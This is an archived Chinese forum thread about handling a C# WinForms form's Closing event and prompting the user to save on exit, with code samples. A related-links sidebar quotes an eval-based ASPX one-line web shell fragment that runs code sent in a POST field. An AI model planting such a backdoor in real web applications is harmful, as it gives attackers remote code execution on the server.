社区
C#
帖子详情
Form有Un_Load事件吗?
weisai
2004-04-29 08:43:29
我想在我点击了关闭Form的那个叉时,做一些动作。在VB里好像有这事件,C# 里有没有?
...全文
53
12
打赏
收藏
微信扫一扫
点击复制链接
分享
举报
写回复
12 条
回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
zxfox
2004-05-05
就是事件的代理啦.
打赏
举报
回复
赞
weisai
2004-05-05
那如this.Closing += new System.ComponentModel.CancelEventHandler(this.Form_Closing);
一般是放在什么地方。我对委托一窍不通。
打赏
举报
回复
赞
chenyu001
2004-05-05
就是FORM关闭时的事件
和unload差不多
打赏
举报
回复
赞
weisai
2004-05-05
学习
打赏
举报
回复
赞
lxcc
2004-05-05
委托:简单的说就是Closing操作映射到Form_Closing过程
打赏
举报
回复
赞
weisai
2004-05-05
可以了,谢谢,可以说说
this.Closing += new System.ComponentModel.CancelEventHandler(this.Form_Closing);
的意思吗
打赏
举报
回复
赞
weisai
2004-05-05
晕,我的好好看看。
打赏
举报
回复
赞
erictang2003
2004-05-03
this.Closing += new System.ComponentModel.CancelEventHandler(this.Form_Closing);
private void Form_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
if( !CreateMyForm( "请问是否要保存?" )
//保存CODE
else
//不保存CODE
}
bool CreateMyForm(string formTitle){
bool result = false;
System.Windows.Forms.Form form1 = new System.Windows.Forms.Form();
form1.Text = formTitle;
form1.MaximizeBox = false;
form1.MinimizeBox = false;
form1.AutoScale = false;
form1.ClientSize = new System.Drawing.Size(190, 50);
System.Windows.Forms.Button button1 = new System.Windows.Forms.Button();
button1.Cursor = System.Windows.Forms.Cursors.Hand;
System.Windows.Forms.Button button2 = new System.Windows.Forms.Button();
button2.Cursor = System.Windows.Forms.Cursors.Hand;
button1.Text = "保存";
button1.Location = new System.Drawing.Point (10, 10);
button2.Text = "不保存";
button2.Location
= new System.Drawing.Point( button1.Right+10,10 );
button1.DialogResult = DialogResult.OK;
button2.DialogResult = DialogResult.Cancel;
form1.FormBorderStyle = FormBorderStyle.FixedDialog;
form1.AcceptButton = button1;//
form1.CancelButton = button2;
form1.StartPosition = FormStartPosition.CenterScreen;
form1.Controls.Add(button1);
form1.Controls.Add(button2);
form1.ShowDialog();
if(form1.DialogResult == DialogResult.OK){
result = true;
this.Cursor = System.Windows.Forms.Cursors.AppStarting;
}else{
result = false;
this.Cursor = System.Windows.Forms.Cursors.AppStarting;
}
form1.Dispose();
return result;
}
打赏
举报
回复
赞
weisai
2004-04-29
我的意思是比如我点了叉后,就会弹出一MessageBox问是否要保存文件,在C#里怎么做
打赏
举报
回复
赞
zhhahuatian
2004-04-29
up
打赏
举报
回复
赞
erictang2003
2004-04-29
在关闭窗体时发生。Closing 事件;
关闭窗体后发生。 Closed 事件;
打赏
举报
回复
赞
weisai
2004-04-29
帮帮忙啊
打赏
举报
回复
赞
相关推荐
8-07-14_MegaCLI for linux_windows
LSIP200245985 (DFCT)
Load
address change for PCLI LSIP200233342 (DFCT) Error message displayed while deleting all ld's in MegaCLI, SLESS11 sp2 LSIP200232922 (DFCT) MegaCLI misspell the word "package...
Python常用库urllib中urllib.request模块使用详解
list-style:none}\nbody,
form
,#fm{position:relative}\ntd{text-align:left}\nimg{border:0}\na{color:#00c}\na:active{color:#f60}\ninput{border:0;padding:0}\n#wrapper{position:relative;_position:;min-height...
怎么利用jquery.
form
提交
form
说明:开发环境 vs2012 asp... 利用jQuery.
form
.js提交
form
1、HTML前端代码 <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Web
Form
3.aspx.cs" Inherits="MvcAppTest.Web
Form
3" %> &l...
jquery
load
方法用法详解
jquery
load
是jquery ajax中的一种功能,
load
可以方便快速的直接加载一个页面到指定div中(html,php),并且它可以带参数,下面我来给大家详细介绍
load
方法用法. 格式
load
(url,data,f
un
ction(response,status...
Glide源码分析(二)——从用法来看之
load
&into方法
上一篇,我们分析了with方法,文章链接: ...在with方法中,进行了Glide的初始化,创建了RequesManger,并且绑定了生命周期,最终返回了一个RequestManager,现在,我们...同样
load
方法也
有
很多重载方法: public Requ...
[Python] 使用
UN
Comtrade API 高效获取数据
使用
UN
Comtrade API 批量下载数据写在前面背景知识什么是 [
UN
Comtrade DB](https://comtrade.
un
.org/)The
UN
Comtrade data extraction APIPython 知识Hands-on
Un
derstanding the Data Request
Form
写在前面 谨...
urllib爬虫封装(可设置代理,记录日志)方法
# interval是时间间隔,backCo
un
t是备份文件的个数,如果超过这个个数,就会自动删除,when是间隔的时间单位,单位
有
以下几种: # S 秒 # M 分 # H 小时、 # D 天、 # W 每星期(interval==0时代表星期一) #...
手把手教你ExtJS从入门到放弃——篇二十五(示例22:Ext.dom.Element方法addKeyMap,addKeyListener,on,focus,oad,serialize
Form
)
1.addKeyMap:inp是輸入框的id,只
有
焦点在输入框里输入对应按键组合才能触发
事件
2.addKeyListener 3.on与
un
,如下点击输入框时弹出执行了...,
un
是移除某时间,下面就是点击后的
事件
被移除了 4.focus,...
php obstart使用方法,PHP: ob_start - Manual
In extension to the compress() f
un
ction posted below, here's a nifty little class that improves the idea a ... Basically, r
un
ning that compress() f
un
ction for all your CSS for every single page
load
...
使用BAPI_CONTRACT_CREATE创建采购合同框架协议
slis_
form
name, g_title TYPE lvc_title, g_setting TYPE lvc_s_glay, wa_print TYPE slis_print_alv, ...
动态生成Checkbox,并且加载时
有
load
Mask提示
实现的基本思想就是为
form
绑定一个store,然后监听store的
load
事件
,先上代码然后我一步一步讲思路。 Ext.define('Xzr.view.security.role.authority.RoleAuthority',{ extend:'Ext.
form
.Panel', requires:['Xzr...
azure多功能成像好用吗_了解Azure持久功能
鉴于
有
许多发布和订阅大量
事件
类型的组件,因此很容易停止为这些树看到森林。
事件
的组合通常构成及时执行的渐进工作流。 工作流不仅仅是其各个部分的总和,而且对高级流程的理解对于控制系统行为至关重要。 Hold ...
使用easy-captcha生成图形验证码报错Cannot
load
from short array because “s
un
.awt.FontConfiguration.head“ is null
nested exception is java.lang.InternalError: java.lang.reflect.InvocationTargetException] with root cause java.lang.NullPointerException: Cannot
load
from short array because "s
un
.awt....
深入理解Symbol
这里是引用 前言 符号(Symbol)是日常开发中经常接触的一个概念,虽然日常开发中直接应用的...A symbol in computer programming is a primitive data type whose instances have a
un
ique human-readable
form
. ...
hugging-face Trans
form
er tokenization_bert.py
load
_vocab def
load
_vocab(vocab_file): """
Load
s a vocabulary file into a dictionary.""" """把词汇表加载为一个
有
序字典""" vocab = collections.OrderedDict() #
有
序字典 with open(vocab_file, "r", ...
jquery源码_详细中文注释
// 站在更高的维度去思考这些复杂的逻辑是为了处理或兼容什么,为什么要这样写,一定会
有
不一样的收获 // 其次,也是因为这个原因,jQuery 源码存在许多兼容低版本的 HACK 或者逻辑十分晦涩繁琐的代码片段 // 浏览器...
洗礼灵魂,修炼python(67)--爬虫篇—cookielib之爬取需要账户登录验证的网站
学完前面的教程,相信你已经能爬取大部分的网站信息了,但是当你爬的网站多了,你应该会发现一个新问题,
有
的网站需要登录账户才能看到更多的信息对吧?那么这种网站怎么爬取呢?这些登录数据就是今天要说的——...
一句话木马:ASPX篇
var a=Request.
Form
["pass"]; var b="
un
sa",c="fe",d=b+c; f
un
ction f
un
() { return a; } eval(f
un
(),d); %> posted @ 2017-09-21 09:18 Bypass 阅读( ... ) 评论( ... ) ...
javascript 循环遍历绑定
事件
问题
//
事件
监听 // console.log(request.readyState); if (request.readyState === XMLHttpRequest.DONE) { if (request.status === 200) { var type = request.getResponseHeader("Content-Type"); if ...
linux 获取so基址,ld.so分析5 _dl_start
至于
有
这些动态链接宏或函数的功能,后面涉及到的时候再分析。 3.获取ld.so的加载基址 if (HP_TIMING_INLINE && HP_TIMING_AVAIL) //#ifdef DONT_USE_BOOTSTRAP_MAP HP_TIMING_NOW (start_time);//获得开始时间 //#...
发帖
C#
加入
微信扫一扫
点击复制链接
10.7w+
社区成员
64.2w+
社区内容
.NET技术 C#
社区管理员
申请成为版主
帖子事件
创建了帖子
2004-04-29 08:43
社区公告
让您成为最强悍的C#开发者